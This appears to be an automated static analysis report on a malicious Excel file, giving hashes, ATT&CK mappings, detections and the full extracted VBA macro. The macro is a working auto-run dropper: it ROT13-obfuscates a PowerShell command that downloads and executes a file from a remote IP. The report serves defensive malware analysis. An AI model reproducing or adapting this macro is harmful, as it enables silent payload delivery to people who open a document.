Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 687e613378240353…

MALICIOUS

Office (OLE)

23.5 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-03-15
MD5: a580cdc095fcede3f58506cf368ee61c SHA-1: 407eb9096fc39068cd13d3fb73b743bc01dd41c5 SHA-256: 687e6133782403537221b32503eba5cb5fd360973bc57a5e8be0fa49aa180e23
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Excel file containing a Workbook_Open VBA macro. This macro executes a shell command that downloads a file from 'http://92.63.88.104/squgrcbcquq/fsojhejsy/jlkoqs.rkr' and saves it as '%APPDATA%\WVBvbqsuvbVU.rkr', then executes the downloaded file. This indicates a downloader or dropper functionality.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-1565947 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-1565947
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell oPOJidsf, vbHide
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2672 bytes
SHA-256: 614c95af4da53db31b9bb9836a327c85d776dcefa0003532e46bec9cec478c58
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Sub tyrtyaag()
oPOJidsf = k3O0Nfe("pzq /X CbjreFuryy.rkr (Arj-Bowrpg Flfgrz.Arg.JroPyvrag).QbjaybnqSvyr('uggc://92.63.88.104/squgrcbcquq/fsojhejsy/jlkoqs.rkr','%GRZC%\WVBvbqsuvbVU.rkr');Fgneg-Cebprff '%GRZC%\WVBvbqsuvbVU.rkr';")
Shell oPOJidsf, vbHide
End Sub

Function k3O0Nfe(ByVal InString As String)
Dim LetterU As String
Dim LetterL As String
Dim Letter As String
Dim Rot13 As String
Dim i As Integer
LetterU = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
LetterL = "abcdefghijklmnopqrstuvwxyz"
i = 0
Do While i <= Len(InString)
i = i + 1
Letter = Mid(InString, i, 1)
If VV6AgfVVap(Letter) = True Then
If NL4UZNpa4U(Letter) = True Then
Rot13 = Rot13 & Mid(LetterU & LetterU, InStr(LetterU, Letter) + 13, 1)
Else
Rot13 = Rot13 & Mid(LetterL & LetterL, InStr(LetterL, Letter) + 13, 1)
End If
Else
Rot13 = Rot13 + Letter
End If
Loop
 k3O0Nfe = Rot13
End Function
Function NL4UZNpa4U(ByVal InString As String) As Boolean
If StrComp(Trim(InString), "") = 0 Then
 NL4UZNpa4U = False
Exit Function
End If
If StrComp(InString, UCase(InString)) = 0 Then
 NL4UZNpa4U = True
Else
 NL4UZNpa4U = False
End If
End Function
Function VV6AgfVVap(ByVal InString As String) As Boolean
InString = UCase(InString)
If InString = "" Then VV6AgfVVap = False: Exit Function
If Asc(InString) >= 65 And Asc(InString) <= 90 Then
 VV6AgfVVap = True
Else
 VV6AgfVVap = False
End If
End Function
Sub Workbook_Open()
    tyrtyaag
End Sub



Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True